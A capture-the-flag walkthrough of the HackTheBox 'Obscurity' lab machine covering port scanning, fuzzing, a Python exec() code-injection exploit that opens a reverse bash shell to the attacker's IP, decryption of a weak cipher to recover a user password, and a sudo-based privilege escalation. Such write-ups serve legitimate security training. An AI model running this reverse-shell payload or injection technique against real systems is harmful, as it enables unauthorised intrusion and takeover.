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This post provides a walkthrough of the Obscurity system on HackTheBox. It is a medium linux machine.

nmap

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nmap -A -T4 -oA obscurity 10.10.10.168
Nmap scan report for 10.10.10.168
Host is up (0.081s latency).
Not shown: 996 filtered ports
PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 33:d3:9a:0d:97:2c:54:20:e1:b0:17:34:f4:ca:70:1b (RSA)
|   256 f6:8b:d5:73:97:be:52:cb:12:ea:8b:02:7c:34:a3:d7 (ECDSA)
|_  256 e8:df:55:78:76:85:4b:7b:dc:70:6a:fc:40:cc:ac:9b (ED25519)
80/tcp   closed http
8080/tcp open   http-proxy BadHTTPServer
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Thu, 07 May 2020 09:51:56
|     Server: BadHTTPServer
|     Last-Modified: Thu, 07 May 2020 09:51:56
|     Content-Length: 4171
|     Content-Type: text/html
|     Connection: Closed
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>0bscura</title>
|     <meta http-equiv="X-UA-Compatible" content="IE=Edge">
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <meta name="keywords" content="">
|     <meta name="description" content="">
|     <!-- 
|     Easy Profile Template
|     http://www.templatemo.com/tm-467-easy-profile
|     <!-- stylesheet css -->
|     <link rel="stylesheet" href="css/bootstrap.min.css">
|     <link rel="stylesheet" href="css/font-awesome.min.css">
|     <link rel="stylesheet" href="css/templatemo-blue.css">
|     </head>
|     <body data-spy="scroll" data-target=".navbar-collapse">
|     <!-- preloader section -->
|     <!--
|     <div class="preloader">
|_    <div class="sk-spinner sk-spinner-wordpress">
|_http-server-header: BadHTTPServer
|_http-title: 0bscura
9000/tcp closed cslistener
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80%I=7%D=5/7%Time=5EB3D96A%P=x86_64-pc-linux-gnu%r(Get
SF:Request,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20Thu,\x2007\x20May\x20202
SF:0\x2009:51:56\nServer:\x20BadHTTPServer\nLast-Modified:\x20Thu,\x2007\x
SF:20May\x202020\x2009:51:56\nContent-Length:\x204171\nContent-Type:\x20te
SF:xt/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20html>\n<html\x20lang=\"e
SF:n\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<title>0bscura</title>\n
SF:\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\t<m
SF:eta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-sc
SF:ale=1\">\n\t<meta\x20name=\"keywords\"\x20content=\"\">\n\t<meta\x20nam
SF:e=\"description\"\x20content=\"\">\n<!--\x20\nEasy\x20Profile\x20Templa
SF:te\nhttp://www\.templatemo\.com/tm-467-easy-profile\n-->\n\t<!--\x20sty
SF:lesheet\x20css\x20-->\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/boot
SF:strap\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/font-aw
SF:esome\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/templat
SF:emo-blue\.css\">\n</head>\n<body\x20data-spy=\"scroll\"\x20data-target=
SF:\"\.navbar-collapse\">\n\n<!--\x20preloader\x20section\x20-->\n<!--\n<d
SF:iv\x20class=\"preloader\">\n\t<div\x20class=\"sk-spinner\x20sk-spinner-
SF:wordpress\">\n")%r(HTTPOptions,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20T
SF:hu,\x2007\x20May\x202020\x2009:51:56\nServer:\x20BadHTTPServer\nLast-Mo
SF:dified:\x20Thu,\x2007\x20May\x202020\x2009:51:56\nContent-Length:\x2041
SF:71\nContent-Type:\x20text/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20h
SF:tml>\n<html\x20lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<
SF:title>0bscura</title>\n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20con
SF:tent=\"IE=Edge\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=devi
SF:ce-width,\x20initial-scale=1\">\n\t<meta\x20name=\"keywords\"\x20conten
SF:t=\"\">\n\t<meta\x20name=\"description\"\x20content=\"\">\n<!--\x20\nEa
SF:sy\x20Profile\x20Template\nhttp://www\.templatemo\.com/tm-467-easy-prof
SF:ile\n-->\n\t<!--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\"styleshe
SF:et\"\x20href=\"css/bootstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet\
SF:"\x20href=\"css/font-awesome\.min\.css\">\n\t<link\x20rel=\"stylesheet\
SF:"\x20href=\"css/templatemo-blue\.css\">\n</head>\n<body\x20data-spy=\"s
SF:croll\"\x20data-target=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20s
SF:ection\x20-->\n<!--\n<div\x20class=\"preloader\">\n\t<div\x20class=\"sk
SF:-spinner\x20sk-spinner-wordpress\">\n");
Aggressive OS guesses: Linux 3.2 - 4.9 (94%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Linux 3.18 (92%), Linux 3.16 (91%), Oracle VM Server 3.4.2 (Linux 4.1) (91%), Crestron XPanel control system (91%), Android 4.1.1 (91%), Android 4.2.2 (Linux 3.4) (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Services are http and ssh. Port 80 is close. Web page like this.

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After checking web page i got some interesting thing SuperSecureServer.py.

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It mentioned about a python program run as a server, after that I tried to find SuperSecureServer.py with gobuster. But I failed. We can fuzzing where its path. In here i used wfuzz.

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wfuzz -c  -w /usr/share/wfuzz/wordlist/general/big.txt --hc 404  -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py

Output like that,

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I found the source code http://10.10.10.168:8080/develop/SuperSecureServer.py and its like that,

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import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK", 
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND", 
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg", 
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2", 
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):        
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
    def __init__(self, host, port):    
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data 
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False
    
    def handleRequest(self, request, conn, address):
        if request.good:
#            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
#            except Exception as e:
#                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]
        
        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode, 
        dateSent = dateSent, server = server, 
        modified = modified, length = length, 
        contentType = contentType, connectionType = connectionType, 
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

Analyzing the code, I found a vulnerable thing.

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 info = "output = 'Document: {}'" # Keep the output for later debug
 exec(info.format(path)) # This is how you do string formatting, right?

We can inject malicious code with info syntax. I create script like that,

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import requests
import urllib
import os

url = 'http://10.10.10.168:8080/'

path='5\''+'\nimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.108",7878));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])\na=\''

payload = urllib.parse.quote(path)
print("payload")
print(url+payload)

r= requests.get(url+payload)
print(r.headers)
print(r.text)

I got the shell at www-data.

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In this /home/robert directory, I found some python scripts and txt files. Some txt files encrypted.

Script like that SuperSecureCrypt.py,

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import sys
import argparse

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i',
                    metavar='InFile',
                    type=str,
                    help='The file to read',
                    required=False)

parser.add_argument('-o',
                    metavar='OutFile',
                    type=str,
                    help='Where to output the encrypted/decrypted file',
                    required=False)

parser.add_argument('-k',
                    metavar='Key',
                    type=str,
                    help='Key to use',
                    required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()
banner = "################################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "################################\n"
banner += "  ############################\n"
banner += "  #        FILE MODE         #\n"
banner += "  ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
    print("Missing args")
else:
    if args.d:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Decrypting...")
        decrypted = decrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(decrypted)
    else:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Encrypting...")
        encrypted = encrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(encrypted)

And these are txt files out.txt, check.txt ,passwordreminder.txt.

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out.txt

¦ÚÈêÚÞØÛÝÝ×ÐÊßÞÊÚÉæßÝËÚÛÚêÙÉëéÑÒÝÍÐêÆáÙÞãÒÑÐáÙ¦ÕæØãÊÎÍßÚêÆÝáäèÎÍÚÎëÑÓäáÛÌ×v

check.txt

Encrypting this file with your key should result in out.txt, make sure your key is correct! 

passwordreminder.txt

´ÑÈÌÉàÙÁÑ鯷¿k

We know that out.txt is encrypted with key which is content inside check.txt , so we need to decrypt out.txt to get content.

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www-data@obscure:/home/robert$ cat /tmp/onur.txt
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich

I got the key of out.txt, next thing is I did the same thing with passwordreminder.txt and got the user password.

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www-data@obscure:/home/robert$ cat /tmp/password.txt
SecThruObsFTW

Finally I got the user creds robert:SecThruObsFTW and user flag.

User Flag

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Privilege Escalation

sudo -l lists which commands user can run without a superuser password.

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robert@obscure:~$ sudo -l
Matching Defaults entries for robert on obscure:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User robert may run the following commands on obscure:
    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
robert@obscure:~$ 

We have permission to run BetterSSH.py at root and BetterSSH.py is like that,

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import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6$'+salt+'$'
    realPass = salt + realPass
    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

In this script we can see if we enter a correct password for user, we are authenticated and we can get a shell.

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if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

I used the robert creds got the root flag.

Root Flag

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